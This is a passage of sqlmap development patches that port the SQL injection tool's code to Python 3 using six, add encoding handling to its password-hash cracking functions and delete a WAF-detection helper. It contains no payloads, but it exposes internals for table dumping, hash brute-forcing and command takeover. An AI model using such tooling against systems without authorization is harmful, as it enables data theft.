basestring) or not count.isdigit()): + elif count and (not isinstance(count, six.string_types) or not count.isdigit()): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " @@ -373,7 +374,7 @@ def unionThread(): del threadData.shared.buffered[0] if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta: - _ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, basestring) else [items])) + _ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items])) status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_)) if len(status) > width: diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 968ca677284..ca876edf633 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -86,6 +86,7 @@ from lib.core.settings import UNICODE_ENCODING from lib.core.settings import ROTATING_CHARS from lib.core.wordlist import Wordlist +from thirdparty import six from thirdparty.colorama.initialise import init as coloramainit from thirdparty.pydes.pyDes import des from thirdparty.pydes.pyDes import CBC @@ -695,7 +696,7 @@ def hashRecognition(value): isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL) - if isinstance(value, basestring): + if isinstance(value, six.string_types): for name, regex in getPublicTypeMembers(HASH): # Hashes for Oracle and old MySQL look the same hence these checks if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD: @@ -726,7 +727,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc count += 1 - if not isinstance(word, basestring): + if not isinstance(word, six.string_types): continue if suffix: @@ -801,7 +802,7 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found count += 1 - if not isinstance(word, basestring): + if not isinstance(word, six.string_types): continue if suffix: diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index 07cf5b8eec5..ef59479360f 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -46,7 +46,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): query = agent.whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT) - if isinstance(count, basestring) and count.isdigit(): + if hasattr(count, "isdigit") and count.isdigit(): count = int(count) if count == 0: diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index cd0980370fc..dfb8a434973 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -21,6 +21,7 @@ from lib.utils.brute import columnExists from lib.utils.pivotdumptable import pivotDumpTable from plugins.generic.enumeration import Enumeration as GenericEnumeration +from thirdparty import six class Enumeration(GenericEnumeration): def __init__(self): @@ -71,7 +72,7 @@ def getTables(self, bruteForce=None): dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) infoMsg = "fetching tables for database" - infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) + infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, six.string_types) else db[0] for db in sorted(dbs))) logger.info(infoMsg) rootQuery = queries[DBMS.MAXDB].tables diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index 56d952879d2..c949c10b385 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -28,8 +28,8 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.settings import CURRENT_DB from lib.request import inject - from plugins.generic.enumeration import Enumeration as GenericEnumeration +from thirdparty import six class Enumeration(GenericEnumeration): def getPrivileges(self, *args): @@ -83,7 +83,7 @@ def getTables(self): dbs = [_ for _ in dbs if _] infoMsg = "fetching tables for database" - infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) + infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, six.string_types) else db[0] for db in sorted(dbs))) logger.info(infoMsg) rootQuery = queries[DBMS.MSSQL].tables @@ -219,7 +219,7 @@ def searchTable(self): values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): - if isinstance(values, basestring): + if isinstance(values, six.string_types): values = [values] for foundTbl in values: @@ -353,7 +353,7 @@ def searchColumn(self): values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): - if isinstance(values, basestring): + if isinstance(values, six.string_types): values = [values] for foundTbl in values: diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index 2658bccd0d2..002991a72a1 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -26,6 +26,7 @@ from lib.utils.brute import columnExists from lib.utils.pivotdumptable import pivotDumpTable from plugins.generic.enumeration import Enumeration as GenericEnumeration +from thirdparty import six class Enumeration(GenericEnumeration): def getUsers(self): @@ -128,7 +129,7 @@ def getTables(self, bruteForce=None): dbs = [_ for _ in dbs if _] infoMsg = "fetching tables for database" - infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) + infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, six.string_types) else db[0] for db in sorted(dbs))) logger.info(infoMsg) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: @@ -279,7 +280,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod columns = {} for name, type_ in filterPairValues(zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.usertype" % kb.aliasName])): - columns[name] = SYBASE_TYPES.get(int(type_) if isinstance(type_, basestring) and type_.isdigit() else type_, type_) + columns[name] = SYBASE_TYPES.get(int(type_) if hasattr(type_, "isdigit") and type_.isdigit() else type_, type_) table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 5412f1b0bc0..ac855c3c5ea 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -605,7 +605,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if values is None: values = inject.getValue(query, blind=False, time=False) - if values and isinstance(values[0], basestring): + if values and isinstance(values[0], six.string_types): values = [values] if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): @@ -658,7 +658,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if len(columnData) == 1: columns[name] = None else: - key = int(columnData[1]) if isinstance(columnData[1], basestring) and columnData[1].isdigit() else columnData[1] + key = int(columnData[1]) if isinstance(columnData[1], six.string_types) and columnData[1].isdigit() else columnData[1] if Backend.isDbms(DBMS.FIREBIRD): columnData[1] = FIREBIRD_TYPES.get(key, columnData[1]) elif Backend.isDbms(DBMS.INFORMIX): @@ -829,7 +829,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) - key = int(colType) if isinstance(colType, basestring) and colType.isdigit() else colType + key = int(colType) if hasattr(colType, "isdigit") and colType.isdigit() else colType if Backend.isDbms(DBMS.FIREBIRD): colType = FIREBIRD_TYPES.get(key, colType) elif Backend.isDbms(DBMS.INFORMIX): diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 4094fa47e02..632ad349bdb 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -45,6 +45,7 @@ from lib.request import inject from lib.utils.hash import attackDumpedTable from lib.utils.pivotdumptable import pivotDumpTable +from thirdparty import six class Entries: """ @@ -244,7 +245,7 @@ def dumpTable(self, foundData=None): logger.warn(warnMsg) if not isNoneValue(entries): - if isinstance(entries, basestring): + if isinstance(entries, six.string_types): entries = [entries] elif not isListLike(entries): entries = [] @@ -259,7 +260,7 @@ def dumpTable(self, foundData=None): if entry is None or len(entry) == 0: continue - if isinstance(entry, basestring): + if isinstance(entry, six.string_types): colEntry = entry else: colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u'' diff --git a/plugins/generic/search.py b/plugins/generic/search.py index ffd231ebde1..088019786e4 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -35,6 +35,7 @@ from lib.request import inject from lib.utils.brute import columnExists from lib.utils.brute import tableExists +from thirdparty import six class Search: """ @@ -204,7 +205,7 @@ def searchTable(self): if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): newValues = [] - if isinstance(values, basestring): + if isinstance(values, six.string_types): values = [values] for value in values: dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" diff --git a/thirdparty/clientform/clientform.py b/thirdparty/clientform/clientform.py index 2f5c18c8372..46b6f18f24c 100644 --- a/thirdparty/clientform/clientform.py +++ b/thirdparty/clientform/clientform.py @@ -95,11 +95,11 @@ def _show_debug_messages(): try: from thirdparty.six.moves import cStringIO as _cStringIO - from thirdparty.six.moves import http_client as _html_entities + from thirdparty.six.moves import html_entities as _html_entities from thirdparty.six.moves import urllib as _urllib except ImportError: from six.moves import cStringIO as _cStringIO - from six.moves import urllib as _html_entities + from six.moves import html_entities as _html_entities from six.moves import urllib as _urllib try: From 83d79692ac8b66713dd2a517fb4c202e6f5bfdba Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 28 Mar 2019 14:12:11 +0100 Subject: [PATCH 193/800] Couple of patches --- lib/core/dump.py | 1 + lib/core/settings.py | 2 +- lib/utils/hash.py | 100 ++++++++++++++++++++++++++++++----- plugins/generic/databases.py | 1 + 4 files changed, 89 insertions(+), 15 deletions(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index c43e1083279..5dd9cec31a6 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -50,6 +50,7 @@ from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT from lib.core.settings import VERSION_STRING from lib.core.settings import WINDOWS_RESERVED_NAMES +from thirdparty import six from thirdparty.magic import magic from extra.safe2bin.safe2bin import safechardecode diff --git a/lib/core/settings.py b/lib/core/settings.py index af1c8933364..de7f13428e5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.68" +VERSION = "1.3.3.69" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index ca876edf633..ecf43664ad6 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -101,6 +101,9 @@ def mysql_passwd(password, uppercase=True): '*00E247AC5F9AF26AE0194B41E1E769DEE1429A29' """ + if isinstance(password, six.text_type): + password = password.encode(UNICODE_ENCODING) + retVal = "*%s" % sha1(sha1(password).digest()).hexdigest() return retVal.upper() if uppercase else retVal.lower() @@ -139,11 +142,11 @@ def postgres_passwd(password, username, uppercase=False): 'md599e5ea7a6f7c3269995cba3927fd0093' """ - if isinstance(username, unicode): - username = unicode.encode(username, UNICODE_ENCODING) + if isinstance(username, six.text_type): + username = username.encode(UNICODE_ENCODING) - if isinstance(password, unicode): - password = unicode.encode(password, UNICODE_ENCODING) + if isinstance(password, six.text_type): + password = password.encode(UNICODE_ENCODING) retVal = "md5%s" % md5(password + username).hexdigest() @@ -228,11 +231,11 @@ def oracle_old_passwd(password, username, uppercase=True): # prior to version ' IV, pad = "\0" * 8, "\0" - if isinstance(username, unicode): - username = unicode.encode(username, UNICODE_ENCODING) + if isinstance(username, six.text_type): + username = username.encode(UNICODE_ENCODING) - if isinstance(password, unicode): - password = unicode.encode(password, UNICODE_ENCODING) + if isinstance(password, six.text_type): + password = password.encode(UNICODE_ENCODING) unistr = "".join("\0%s" % c for c in (username + password).upper()) @@ -251,6 +254,9 @@ def md5_generic_passwd(password, uppercase=False): '179ad45c6ce2cb97cf1029e212046e81' """ + if isinstance(password, six.text_type): + password = password.encode(UNICODE_ENCODING) + retVal = md5(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() @@ -261,6 +267,9 @@ def sha1_generic_passwd(password, uppercase=False): '206c80413b9a96c1312cc346b7d2517b84463edd' """ + if isinstance(password, six.text_type): + password = password.encode(UNICODE_ENCODING) + retVal = sha1(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() @@ -271,6 +280,9 @@ def apache_sha1_passwd(password, **kwargs): '{SHA}IGyAQTualsExLMNGt9JRe4RGPt0=' """ + if isinstance(password, six.text_type): + password = password.encode(UNICODE_ENCODING) + return "{SHA}%s" % base64.b64encode(sha1(password).digest()) def ssha_passwd(password, salt, **kwargs): @@ -279,6 +291,12 @@ def ssha_passwd(password, salt, **kwargs): '{SSHA}mU1HPTvnmoXOhE4ROHP6sWfbfoRzYWx0' """ + if isinstance(password, six.text_type): + password = password.encode(UNICODE_ENCODING) + + if isinstance(salt, six.text_type): + salt = salt.encode(UNICODE_ENCODING) + return "{SSHA}%s" % base64.b64encode(sha1(password + salt).digest() + salt) def ssha256_passwd(password, salt, **kwargs): @@ -287,6 +305,12 @@ def ssha256_passwd(password, salt, **kwargs): '{SSHA256}hhubsLrO/Aje9F/kJrgv5ZLE40UmTrVWvI7Dt6InP99zYWx0' """ + if isinstance(password, six.text_type): + password = password.encode(UNICODE_ENCODING) + + if isinstance(salt, six.text_type): + salt = salt.encode(UNICODE_ENCODING) + return "{SSHA256}%s" % base64.b64encode(sha256(password + salt).digest() + salt) def ssha512_passwd(password, salt, **kwargs): @@ -295,6 +319,12 @@ def ssha512_passwd(password, salt, **kwargs): '{SSHA512}mCUSLfPMhXCQOJl9WHW/QMn9v9sjq7Ht/Wk7iVau8vLOfh+PeynkGMikqIE8sStFd0khdfcCD8xZmC6UyjTxsHNhbHQ=' """ + if isinstance(password, six.text_type): + password = password.encode(UNICODE_ENCODING) + + if isinstance(salt, six.text_type): + salt = salt.encode(UNICODE_ENCODING) + return "{SSHA512}%s" % base64.b64encode(sha512(password + salt).digest() + salt) def sha224_generic_passwd(password, uppercase=False): @@ -303,6 +333,9 @@ def sha224_generic_passwd(password, uppercase=False): '648db6019764b598f75ab6b7616d2e82563a00eb1531680e19ac4c6f' """ + if isinstance(password, six.text_type): + password = password.encode(UNICODE_ENCODING) + retVal = sha224(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() @@ -313,6 +346,9 @@ def sha256_generic_passwd(password, uppercase=False): '13d249f2cb4127b40cfa757866850278793f814ded3c587fe5889e889a7a9f6c' """ + if isinstance(password, six.text_type): + password = password.encode(UNICODE_ENCODING) + retVal = sha256(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() @@ -323,6 +359,9 @@ def sha384_generic_passwd(password, uppercase=False): '6823546e56adf46849343be991d4b1be9b432e42ed1b4bb90635a0e4b930e49b9ca007bc3e04bf0a4e0df6f1f82769bf' """ + if isinstance(password, six.text_type): + password = password.encode(UNICODE_ENCODING) + retVal = sha384(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() @@ -333,6 +372,9 @@ def sha512_generic_passwd(password, uppercase=False): '78ddc8555bb1677ff5af75ba5fc02cb30bb592b0610277ae15055e189b77fe3fda496e5027a3d99ec85d54941adee1cc174b50438fdc21d82d0a79f85b58cf44' """ + if isinstance(password, six.text_type): + password = password.encode(UNICODE_ENCODING) + retVal = sha512(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() @@ -349,6 +391,12 @@ def crypt_generic_passwd(password, salt, **kwargs): 'rl.3StKT.4T8M' """ + if isinstance(password, six.text_type): + password = password.encode(UNICODE_ENCODING) + + if isinstance(salt, six.text_type): + salt = salt.encode(UNICODE_ENCODING) + return crypt(password, salt) def unix_md5_passwd(password, salt, magic="$1$", **kwargs): @@ -357,7 +405,7 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs): http://www.sabren.net/code/python/crypt/md5crypt.py >>> unix_md5_passwd(password='testpass', salt='aD9ZLmkp') - '$1$aD9ZLmkp$DRM5a7rRZGyuuOPOjTEk61' + u'$1$aD9ZLmkp$DRM5a7rRZGyuuOPOjTEk61' """ def _encode64(value, count): @@ -370,13 +418,13 @@ def _encode64(value, count): return output - if isinstance(password, unicode): + if isinstance(password, six.text_type): password = password.encode(UNICODE_ENCODING) - if isinstance(magic, unicode): + if isinstance(magic, six.text_type): magic = magic.encode(UNICODE_ENCODING) - if isinstance(salt, unicode): + if isinstance(salt, six.text_type): salt = salt.encode(UNICODE_ENCODING) salt = salt[:8] @@ -427,7 +475,7 @@ def _encode64(value, count): hash_ = hash_ + _encode64((int(ord(final[4])) << 16) | (int(ord(final[10])) << 8) | (int(ord(final[5]))), 4) hash_ = hash_ + _encode64((int(ord(final[11]))), 2) - return "%s%s$%s" % (magic, salt, hash_) + return "%s%s$%s" % (magic, salt.decode(UNICODE_ENCODING), hash_.decode(UNICODE_ENCODING)) def joomla_passwd(password, salt, **kwargs): """ @@ -437,6 +485,12 @@ def joomla_passwd(password, salt, **kwargs): 'e3d5794da74e917637332e0d21b76328:6GGlnaquVXI80b3HRmSyE3K1wEFFaBIf' """ + if isinstance(password, six.text_type): + password = password.encode(UNICODE_ENCODING) + + if isinstance(salt, six.text_type): + salt = salt.encode(UNICODE_ENCODING) + return "%s:%s" % (md5("%s%s" % (password, salt)).hexdigest(), salt) def django_md5_passwd(password, salt, **kwargs): @@ -447,6 +501,12 @@ def django_md5_passwd(password, salt, **kwargs): 'md5$salt$972141bcbcb6a0acc96e92309175b3c5' """ + if isinstance(password, six.text_type): + password = password.encode(UNICODE_ENCODING) + + if isinstance(salt, six.text_type): + salt = salt.encode(UNICODE_ENCODING) + return "md5$%s$%s" % (salt, md5("%s%s" % (salt, password)).hexdigest()) def django_sha1_passwd(password, salt, **kwargs): @@ -457,6 +517,12 @@ def django_sha1_passwd(password, salt, **kwargs): 'sha1$salt$6ce0e522aba69d8baa873f01420fccd0250fc5b2' """ + if isinstance(password, six.text_type): + password = password.encode(UNICODE_ENCODING) + + if isinstance(salt, six.text_type): + salt = salt.encode(UNICODE_ENCODING) + return "sha1$%s$%s" % (salt, sha1("%s%s" % (salt, password)).hexdigest()) def vbulletin_passwd(password, salt, **kwargs): @@ -467,6 +533,12 @@ def vbulletin_passwd(password, salt, **kwargs): '85c4d8ea77ebef2236fb7e9d24ba9482:salt' """ + if isinstance(password, six.text_type): + password = password.encode(UNICODE_ENCODING) + + if isinstance(salt, six.text_type): + salt = salt.encode(UNICODE_ENCODING) + return "%s:%s" % (md5("%s%s" % (md5(password).hexdigest(), salt)).hexdigest(), salt) def wordpress_passwd(password, salt, count, prefix, **kwargs): @@ -510,7 +582,7 @@ def _encode64(input_, count): return output - if isinstance(password, unicode): + if isinstance(password, six.text_type): password = password.encode(UNICODE_ENCODING) cipher = md5(salt) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index ac855c3c5ea..76f125c1fae 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -47,6 +47,7 @@ from lib.techniques.union.use import unionUse from lib.utils.brute import columnExists from lib.utils.brute import tableExists +from thirdparty import six class Databases: """ From 49586ad6dd3f5ee79678abfb20f74d3711f96013 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 28 Mar 2019 14:13:52 +0100 Subject: [PATCH 194/800] Fixes #3557 --- lib/core/settings.py | 2 +- lib/request/connect.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index de7f13428e5..39bb791839c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.69" +VERSION = "1.3.3.70" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index aa8e89a98ef..03b2c1115ea 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -746,9 +746,9 @@ class _(dict): raise SqlmapConnectionException(warnMsg) finally: - if isinstance(six.binary_type): + if isinstance(page, six.binary_type): if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]): - page = unicode(page, errors="ignore") + page = six.text_type(page, errors="ignore") else: page = getUnicode(page) From 4b020c4257734b421d3f0cd206c4cc03ab55dcc0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 28 Mar 2019 15:14:16 +0100 Subject: [PATCH 195/800] Some more drei stuff --- extra/cloak/cloak.py | 3 + extra/safe2bin/safe2bin.py | 3 + extra/shutils/duplicates.py | 33 +++--- extra/wafdetectify/__init__.py | 8 -- extra/wafdetectify/wafdetectify.py | 134 ---------------------- lib/controller/checks.py | 1 + lib/controller/controller.py | 1 + lib/core/agent.py | 1 + lib/core/bigarray.py | 1 + lib/core/common.py | 1 + lib/core/dump.py | 1 + lib/core/option.py | 1 + lib/core/settings.py | 2 +- lib/core/target.py | 1 + lib/core/threads.py | 1 + lib/parse/cmdline.py | 1 + lib/parse/payloads.py | 1 + lib/request/connect.py | 1 + lib/request/inject.py | 1 + lib/takeover/udf.py | 1 + lib/takeover/web.py | 1 + lib/takeover/xp_cmdshell.py | 1 + lib/techniques/dns/use.py | 1 + lib/techniques/error/use.py | 1 + lib/techniques/union/test.py | 1 + lib/techniques/union/use.py | 1 + lib/utils/api.py | 1 + lib/utils/crawler.py | 1 + lib/utils/hash.py | 1 + lib/utils/hashdb.py | 1 + lib/utils/pivotdumptable.py | 1 + lib/utils/purge.py | 1 + lib/utils/xrange.py | 6 +- plugins/dbms/db2/fingerprint.py | 1 + plugins/dbms/firebird/fingerprint.py | 1 + plugins/dbms/h2/syntax.py | 1 + plugins/dbms/hsqldb/syntax.py | 1 + plugins/dbms/maxdb/fingerprint.py | 1 + plugins/dbms/mssqlserver/enumeration.py | 1 + plugins/dbms/mssqlserver/filesystem.py | 1 + plugins/dbms/mssqlserver/syntax.py | 1 + plugins/dbms/mssqlserver/takeover.py | 1 + plugins/dbms/mysql/filesystem.py | 1 + plugins/dbms/mysql/fingerprint.py | 1 + plugins/dbms/oracle/enumeration.py | 1 + plugins/dbms/oracle/syntax.py | 1 + plugins/dbms/postgresql/filesystem.py | 1 + plugins/dbms/sybase/fingerprint.py | 1 + plugins/dbms/sybase/syntax.py | 1 + plugins/generic/filesystem.py | 3 +- plugins/generic/users.py | 1 + tamper/ifnull2casewhenisnull.py | 1 + tamper/ifnull2ifisnull.py | 1 + tamper/luanginx.py | 1 + tamper/plus2concat.py | 1 + tamper/plus2fnconcat.py | 1 + tamper/randomcase.py | 1 + tamper/randomcomments.py | 1 + tamper/space2comment.py | 1 + tamper/space2dash.py | 1 + tamper/space2hash.py | 1 + tamper/space2morecomment.py | 1 + tamper/space2morehash.py | 1 + tamper/space2mssqlblank.py | 1 + tamper/space2mssqlhash.py | 1 + tamper/space2mysqlblank.py | 1 + tamper/space2mysqldash.py | 1 + tamper/space2plus.py | 1 + tamper/space2randomblank.py | 1 + tamper/unmagicquotes.py | 1 + tamper/xforwardedfor.py | 7 +- thirdparty/beautifulsoup/beautifulsoup.py | 4 + thirdparty/chardet/eucjpprober.py | 2 + thirdparty/chardet/mbcharsetprober.py | 2 + thirdparty/chardet/sjisprober.py | 2 + thirdparty/chardet/utf8prober.py | 4 + thirdparty/clientform/clientform.py | 3 + thirdparty/fcrypt/fcrypt.py | 4 +- thirdparty/gprof2dot/gprof2dot.py | 3 + thirdparty/keepalive/keepalive.py | 4 +- thirdparty/xdot/xdot.py | 3 + 81 files changed, 125 insertions(+), 167 deletions(-) delete mode 100644 extra/wafdetectify/__init__.py delete mode 100755 extra/wafdetectify/wafdetectify.py diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index 7c9efc90b4b..8462dbc1267 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -16,6 +16,9 @@ from optparse import OptionError from optparse import OptionParser +if sys.version_info.major > 2: + xrange = range + def hideAscii(data): retVal = "" for i in xrange(len(data)): diff --git a/extra/safe2bin/safe2bin.py b/extra/safe2bin/safe2bin.py index f7c26a0dd1a..b514c2a2a9a 100644 --- a/extra/safe2bin/safe2bin.py +++ b/extra/safe2bin/safe2bin.py @@ -18,6 +18,9 @@ from optparse import OptionError from optparse import OptionParser +if sys.version_info.major > 2: + xrange = range + # Regex used for recognition of hex encoded characters HEX_ENCODED_CHAR_REGEX = r"(?P<result>\\x[0-9A-Fa-f]{2})" diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py index c5fdbaf64f1..23cc803df91 100755 --- a/extra/shutils/duplicates.py +++ b/extra/shutils/duplicates.py @@ -9,21 +9,22 @@ import sys -if len(sys.argv) > 0: - items = list() +if __name__ == "__main__": + if len(sys.argv) > 0: + items = list() - with open(sys.argv[1], 'r') as f: - for item in f.readlines(): - item = item.strip() - try: - str.encode(item) - if item in items: - if item: - print(item) - else: - items.append(item) - except: - pass + with open(sys.argv[1], 'r') as f: + for item in f.readlines(): + item = item.strip() + try: + str.encode(item) + if item in items: + if item: + print(item) + else: + items.append(item) + except: + pass - with open(sys.argv[1], 'w+') as f: - f.writelines("\n".join(items)) + with open(sys.argv[1], 'w+') as f: + f.writelines("\n".join(items)) diff --git a/extra/wafdetectify/__init__.py b/extra/wafdetectify/__init__.py deleted file mode 100644 index 8307a1c2877..00000000000 --- a/extra/wafdetectify/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env python2 - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -pass diff --git a/extra/wafdetectify/wafdetectify.py b/extra/wafdetectify/wafdetectify.py deleted file mode 100755 index 3afe6eb5d6e..00000000000 --- a/extra/wafdetectify/wafdetectify.py +++ /dev/null @@ -1,134 +0,0 @@ -#!/usr/bin/env python2 - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from __future__ import print_function - -import cookielib -import glob -import httplib -import inspect -import os -import re -import socket -import ssl -import subprocess -import sys -import urllib2 - -sys.dont_write_bytecode = True - -if hasattr(ssl, "_create_unverified_context"): - ssl._create_default_https_context = ssl._create_unverified_context - -NAME, VERSION, AUTHOR = "WAF Detectify", "0.1", "sqlmap developers (@sqlmap)" -TIMEOUT = 10 -HEADERS = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "identity", "Cache-Control": "max-age=0"} -SQLMAP_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..")) -SCRIPTS_DIR = os.path.join(SQLMAP_DIR, "waf") -LEVEL_COLORS = {"o": "\033[00;94m", "x": "\033[00;91m", "!": "\033[00;93m", "i": "\033[00;92m"} -CACHE = {} -WAF_FUNCTIONS = [] - -def get_page(get=None, url=None, host=None, data=None): - key = (get, url, host, data) - - if key in CACHE: - return CACHE[key] - - page, headers, code = None, {}, httplib.OK - - url = url or ("%s%s%s" % (sys.argv[1], '?' if '?' not in sys.argv[1] else '&', get) if get else sys.argv[1]) - if not url.startswith("http"): - url = "http://%s" % url - - try: - req = urllib2.Request("".join(url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in xrange(len(url))), data, HEADERS) - conn = urllib2.urlopen(req, timeout=TIMEOUT) - page = conn.read() - headers = conn.info() - except Exception as ex: - code = getattr(ex, "code", None) - page = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", "") - headers = ex.info() if hasattr(ex, "info") else {} - - result = CACHE[key] = page, headers, code - - return result - -def colorize(message): - if not subprocess.mswindows and sys.stdout.isatty(): - message = re.sub(r"\[(.)\]", lambda match: "[%s%s\033[00;49m]" % (LEVEL_COLORS[match.group(1)], match.group(1)), message) - message = message.replace("@sqlmap", "\033[00;96m@sqlmap\033[00;49m") - message = message.replace(NAME, "\033[00;93m%s\033[00;49m" % NAME) - - return message - -def main(): - global WAF_FUNCTIONS - - print(colorize("%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR))) - - if len(sys.argv) < 2: - sys.exit(colorize("[x] usage: python %s <hostname>" % os.path.split(__file__)[-1])) - - cookie_jar = cookielib.CookieJar() - opener = 